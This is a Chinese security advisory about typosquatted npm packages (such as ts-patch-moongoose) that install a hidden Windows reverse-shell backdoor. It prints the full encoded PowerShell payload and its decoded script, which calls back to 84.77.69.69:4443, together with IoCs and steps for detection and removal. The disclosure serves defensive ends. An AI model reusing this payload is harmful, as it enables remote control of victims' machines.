本文主要是介绍供应链投毒预警 | 恶意NPM包利用Windows反向shell后门攻击开发者，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！
概述
本周（2024年02月19号），悬镜供应链安全情报中心在NPM官方仓库（https://npmjs.com）中发现多起NPM组件包投毒事件。攻击者利用包名错误拼写方式 (typo-squatting)在NPM仓库中连续发布9个不同版本的恶意包，试图通过仿冒合法组件（ts-patch-mongoose）来攻击潜在的NodeJS开发者。
NPM组件ts-patch-mongoose
开发者一旦错误安装这些恶意组件包，则会自动触发执行恶意组件中的攻击代码，受害者系统将主动通过反向shell（Reverse Shell）的方式和攻击者控制的服务器端口建立后门连接，最终导致开发者系统被攻击者远程控制。
恶意组件包
投毒分析
攻击流程
以ts-patch-moongoose投毒包为例:
攻击目标针对Window系统平台NPM开发者，恶意文件mongoose.js中调用child_process模块执行经过base64编码后的powershell恶意命令。
powershell -ep bypass -e UwB0AGEAJwByAHQALQBQAHIAbwAnAGMAZQBzAHMAIAAkAFAAUwBIAE8ATQBFAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgAHsAJABjAGMANABiADMAZQAwADcAMAA2AGIAZQA0ADcAOAAwADkANQAyADMANQBiAGQAYgBjADUANAA3ADkAZgBkAGUAIAA9ACAATgBlAHcAJwAtAE8AYgBqAGUAJwBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAEMAbABpAGUAbgB0ACgAJwA4ADQALgA3ADcALgA2ADkALgA2ADkAJwAsADQANAA0ADMAKQA7ACQANABiAGQAZgA3ADEANwAwADEAZQA0AGUANAA1AGEANAA4AGIAZAA2ADYAOQA3ADQAYQAzADYAZAAxAGYAZAA4ACAAPQAgACQAYwBjADQAYgAzAGUAMAA3ADAANgBiAGUANAA3ADgAMAA5ADUAMgAzADUAYgBkAGIAYwA1ADQANwA5AGYAZABlAC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgA3ADIAZABkADcAMABiADkAYgA1AGMANAA2ADMANQBiADQAMQAwAGMAMwBlAGQAYQAwADMAOQBkAGIAOQA4ACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkADQAYgBkAGYANwAxADcAMAAxAGUANABlADQANQBhADQAOABiAGQANgA2ADkANwA0AGEAMwA2AGQAMQBmAGQAOAAuAFIAZQBhAGQAKAAkAGIANwAyAGQAZAA3ADAAYgA5AGIANQBjADQANgAzADUAYgA0ADEAMABjADMAZQBkAGEAMAAzADkAZABiADkAOAAsACAAMAAsACAAJABiADcAMgBkAGQANwAwAGIAOQBiADUAYwA0ADYAMwA1AGIANAAxADAAYwAzAGUAZABhADAAMwA5AGQAYgA5ADgALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABmAGYAOAA4ADcAZAAwADkANQAzADUAZAA0ADYANAA4ADkANQA4ADIAZAA2ADcAZgAwADUAZQA3AGQANgAwAGYAIAA9ACAAKABOAGUAJwB3AC0ATwBiACcAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIANwAyAGQAZAA3ADAAYgA5AGIANQBjADQANgAzADUAYgA0ADEAMABjADMAZQBkAGEAMAAzADkAZABiADkAOAAsADAALAAgACQAaQApADsAJABlADkAZgAzADMAZQBlAGYAMwA3ADcANQA0ADgAZgBkAGIAOABlADIAMQAyAGEAYQBlAGMAZQBjADYAYgA0ADcAIAA9ACAAKABpAGUAeAAgACQAZgBmADgAOAA3AGQAMAA5ADUAMwA1AGQANAA2ADQAOAA5ADUAOAAyAGQANgA3AGYAMAA1AGUANwBkADYAMABmACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAMABlADcAYwBiADUAMwA3ADkANAA3AGEANAA5ADAANQBiADMANgBlADMANgBiADgAZQBmADIANQBmADkANQA1ACAAPQAgACQAZQA5AGYAMwAzAGUAZQBmADMANwA3ADUANAA4AGYAZABiADgAZQAyADEAMgBhAGEAZQBjAGUAYwA2AGIANAA3ACAAKwAgACcAUABTACAAJwAgACsAIAAoAHAAJwB3ACcAZAApAC4AUABhAHQAaAAgACsAIAAnAD4AIAAnADsAJAA5ADgANgA4ADgANgBjADEAMAA1ADkAYwA0ADkANQBlAGIAYwAzADcAYQAyADgAZgBhADgANwAzADUANAAxADkAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkADAAZQA3AGMAYgA1ADMANwA5ADQANwBhADQAOQAwADUAYgAzADYAZQAzADYAYgA4AGUAZgAyADUAZgA5ADUANQApADsAJAA0AGIAZABmADcAMQA3ADAAMQBlADQAZQA0ADUAYQA0ADgAYgBkADYANgA5ADcANABhADMANgBkADEAZgBkADgALgBXAHIAaQB0AGUAKAAkADkAOAA2ADgAOAA2AGMAMQAwADUAOQBjADQAOQA1AGUAYgBjADMANwBhADIAOABmAGEAOAA3ADMANQA0ADEAOQAsADAALAAkADkAOAA2ADgAOAA2AGMAMQAwADUAOQBjADQAOQA1AGUAYgBjADMANwBhADIAOABmAGEAOAA3ADMANQA0ADEAOQAuAEwAZQBuAGcAdABoACkAOwAkADQAYgBkAGYANwAxADcAMAAxAGUANABlADQANQBhADQAOABiAGQANgA2ADkANwA0AGEAMwA2AGQAMQBmAGQAOAAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBjADQAYgAzAGUAMAA3ADAANgBiAGUANAA3ADgAMAA5ADUAMgAzADUAYgBkAGIAYwA1ADQANwA5AGYAZABlAC4AQwBsAG8AcwBlACgAKQB9ACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA=解码后的实际powershell代码如下所示：
Start-Process $PSHOME\powershell.exe -ArgumentList {$cc4b3e0706be478095235bdbc5479fde = New'-Obje'ct System.Net.Sockets.TCPClient('84.77.69.69',4443);$4bdf71701e4e45a48bd66974a36d1fd8 = $cc4b3e0706be478095235bdbc5479fde.GetStream();[byte[]]$b72dd70b9b5c4635b410c3eda039db98 = 0..65535|%{0};while(($i = $4bdf71701e4e45a48bd66974a36d1fd8.Read($b72dd70b9b5c4635b410c3eda039db98, 0, $b72dd70b9b5c4635b410c3eda039db98.Length)) -ne 0){;$ff887d09535d46489582d67f05e7d60f = (Ne'w-Ob'ject -TypeName System.Text.ASCIIEncoding).GetString($b72dd70b9b5c4635b410c3eda039db98,0, $i);$e9f33eef377548fdb8e212aaecec6b47 = (iex $ff887d09535d46489582d67f05e7d60f 2>&1 | Out-String );$0e7cb537947a4905b36e36b8ef25f955 = $e9f33eef377548fdb8e212aaecec6b47 + 'PS ' + (p'w'd).Path + '> ';$986886c1059c495ebc37a28fa8735419 = ([text.encoding]::ASCII).GetBytes($0e7cb537947a4905b36e36b8ef25f955);$4bdf71701e4e45a48bd66974a36d1fd8.Write($986886c1059c495ebc37a28fa8735419,0,$986886c1059c495ebc37a28fa8735419.Length);$4bdf71701e4e45a48bd66974a36d1fd8.Flush()};$cc4b3e0706be478095235bdbc5479fde.Close()} -WindowStyle Hidden恶意PowerShell代码利用System.Net.Sockets.TCPClient接口将windows系统cmd shell反弹到攻击者控制的服务器端口84.77.69.69:4443上，从而达到对受害者系统进行远程shell后门控制的目的。
攻击复现
-
模拟攻击者服务器(OS: ubuntu-server IP: 84.77.69.69)并监听tcp 4443端口
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模拟NPM开发者在Windows系统上安装ts-patch-moongoose组件
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NPM开发者系统cmd shell成功反弹到攻击者服务器4443端口，攻击者可通过反向shell后门在开发者系统上远程执行任意系统命令
反向shell后门复现
IoC数据
此次投毒组件包涉及的恶意文件和IoC数据如下所示：
排查方式
开发者可在NodeJS项目根目录下通过以下命令快速排查是否误安装该恶意NPM组件包，
npm list ts-patch-moongoose
npm list ts-patch-moongoose -g若命令运行结果显示已经安装该恶意组件，则需关闭系统网络并排查系统是否存在异常进程，同时可通过以下命令进行卸载恶意组件包。
npm remove ts-patch-moongoose
npm remove ts-patch-moongoose -g此外，开发者也可使用OpenSCA-cli，将受影响的组件包按如下示例保存为db.json文件（可参考总结中提到的组件包信息按格式增减），直接执行扫描命令（opensca-cli -db db.json -path ${project_path}），即可快速获知您的项目是否受到投毒包影响。
[{"product": "ts-patch-moongoose","version": "[1.0.0,1.0.0]||[2.0.0,2.0.0]","language": "javascript","id": "XMIRROR-MAL45-1E9AA373","description": "恶意NPM组件利用反向shell后门攻击Windows系统NPM开发者。","release_date": "2024-02-19"},{"product": "ts-patch-mongoos","version": "[1.0.0,1.0.0]||[2.0.0,2.0.0]","language": "javascript","id": "XMIRROR-MAL45-6963D463","description": "恶意NPM组件利用反向shell后门攻击Windows系统NPM开发者。","release_date": "2024-02-19"},{"product": "ts-patch-mongose","version": "[1.0.0,1.0.0]||[2.0.0,2.0.0]||[3.0.0,3.0.0]||[3.0.1,3.0.1]||[4.0.0,4.0.0]","language": "javascript","id": "XMIRROR-MAL45-60C73BA0","description": "恶意NPM组件利用反向shell后门攻击Windows系统NPM开发者。","release_date": "2024-02-19"}
]悬镜供应链安全情报中心将持续监测全网主流开源软件仓库，对潜在风险的开源组件包进行动态跟踪和溯源，实现快速捕获开源组件投毒攻击事件并第一时间提供精准安全预警。
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